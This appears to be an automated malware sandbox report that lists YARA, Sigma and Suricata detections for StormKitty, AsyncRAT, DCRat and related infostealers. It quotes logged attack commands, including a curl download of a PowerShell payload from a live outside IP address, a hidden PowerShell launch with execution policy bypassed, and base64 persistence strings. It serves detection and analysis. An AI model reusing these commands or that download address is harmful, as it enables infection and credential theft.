11.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
11.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x53ee40:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x589c6a:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x58cfed:$a3: START "" " 0x58d502:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58d3dd:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d47a:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x590364:$str01: Processe: 0x2927e8:$str02: Compname: 0x590220:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x59031a:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x5902b0:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x5902d4:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x590b22:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x592599:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x58568c:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x56ce07:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x574cca:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x2fe013:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x55038a:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x55d8bc:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x572c77:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x573731:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x576e80:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x576e5b:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.?)" 0x58c507:$str10: encrypted_key":"(.?)"
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d47a:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x58954a:$str04: Pac_ket 0x29b830:$str05: Perfor_mance 0x599268:$str05: Perfor_mance 0x29b874:$str06: Install_ed 0x5992ac:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x54393d:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x559e02:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x56dd3d:$str09: isVM_by_wim_temper 0x29c122:$str10: save_Plugin 0x599b5a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x589c6a:$str11: timeout 3 > NUL 0x29b410:$str12: ProcessHacker.exe 0x598e48:$str12: ProcessHacker.exe 0x29b602:$str13: Select * from Win32_CacheMemory
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x58d47a:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2 0x58d3dd:$s2: L2Mgc2NodGFza3MgL2
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b602:$q1: Select * from Win32_CacheMemory 0x59903a:$q1: Select * from Win32_CacheMemory 0x29b642:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x59907a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b690:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x5990c8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b6de:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x599116:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x59123e:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x596bd9:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x596bbf:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN 0x596ba1:$s3: \VPN\ProtonVPN
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x58b923:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x58b995:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x58ba1f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x58bab1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x58bb1b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x58bb8d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x58bc23:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x58bcb3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x2fe000:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x2fe01c:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x57ba2c:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x591a92:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x58aedd:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.?)" 0x58c505:$s6: "encrypted_key":"(.?)"
4.2.powershell.exe.23adec1c7d8.9.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x5894da:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x58564e:$s6: VirtualBox 0x5951cd:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x590bea:$s8: Win32_ComputerSystem 0x595133:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x58dd16:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58d933:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58d9d0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58dae5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1 0x58dbcd:$cnc4: POST / HTTP/1.1
4.2.powershell.exe.23aded40562.10.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
4.2.powershell.exe.23aded40562.10.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
4.2.powershell.exe.23aded40562.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.powershell.exe.23aded40562.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.23aded40562.10.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
4.2.powershell.exe.23aded40562.10.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
4.2.powershell.exe.23aded40562.10.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x41b0b6:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x465ee0:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x469263:$a3: START "" " 0x469778:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x469653:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696f0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.23aded40562.10.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x46c5da:$str01: Processe: 0x16ea5e:$str02: Compname: 0x46c496:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x46c590:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x46c526:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x46c54a:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x46cd98:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x46e80f:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x461902:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x44907d:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x450f40:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths
4.2.powershell.exe.23aded40562.10.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x1da289:$sk01: LimerBoy/StormKitty 0x12ebc8:$str01: set_sUsername 0x42c600:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x439b32:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x44eeed:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x44f9a7:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x4530f6:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x4530d1:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.?)" 0x46877d:$str10: encrypted_key":"(.?)"
4.2.powershell.exe.23aded40562.10.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696f0:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x4657c0:$str04: Pac_ket 0x177aa6:$str05: Perfor_mance 0x4754de:$str05: Perfor_mance 0x177aea:$str06: Install_ed 0x475522:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x41fbb3:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x436078:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x449fb3:$str09: isVM_by_wim_temper 0x178398:$str10: save_Plugin 0x475dd0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x465ee0:$str11: timeout 3 > NUL 0x177686:$str12: ProcessHacker.exe 0x4750be:$str12: ProcessHacker.exe 0x177878:$str13: Select * from Win32_CacheMemory
4.2.powershell.exe.23aded40562.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x4696f0:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2 0x469653:$s2: L2Mgc2NodGFza3MgL2
4.2.powershell.exe.23aded40562.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x177878:$q1: Select * from Win32_CacheMemory 0x4752b0:$q1: Select * from Win32_CacheMemory 0x1778b8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x4752f0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x177906:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x47533e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x177954:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x47538c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.23aded40562.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x46d4b4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
4.2.powershell.exe.23aded40562.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x472e4f:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x472e35:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN 0x472e17:$s3: \VPN\ProtonVPN
4.2.powershell.exe.23aded40562.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x467b99:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x467c0b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x467c95:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x467d27:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x467d91:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x467e03:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x467e99:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x467f29:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.powershell.exe.23aded40562.10.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1da276:$x2: https://github.com/LimerBoy/StormKitty 0x1da292:$x3: StormKitty 0x15a26a:$s2: GetAntivirus 0x457ca2:$s2: GetAntivirus 0x1702d0:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x46dd08:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x16971b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x467153:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x16ad43:$s6: "encrypted_key":"(.?)" 0x46877b:$s6: "encrypted_key":"(.?)"
4.2.powershell.exe.23aded40562.10.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x465750:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x4618c4:$s6: VirtualBox 0x471443:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x46ce60:$s8: Win32_ComputerSystem 0x4713a9:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x469f8c:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x469ba9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x469c46:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x469d5b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1 0x469e43:$cnc4: POST / HTTP/1.1
Click to see the 116 entries

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", CommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\gqub.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5160, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ProcessId: 7112, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7112, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline", ProcessId: 2268, ProcessName: csc.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 , CommandLine: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 , CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\gqub.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5160, ParentProcessName: cmd.exe, ProcessCommandLine: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1 , ProcessId: 2724, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7112, TargetFilename: C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", CommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\gqub.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5160, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ProcessId: 7112, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7112, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline", ProcessId: 2268, ProcessName: csc.exe

Suricata Signatures

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
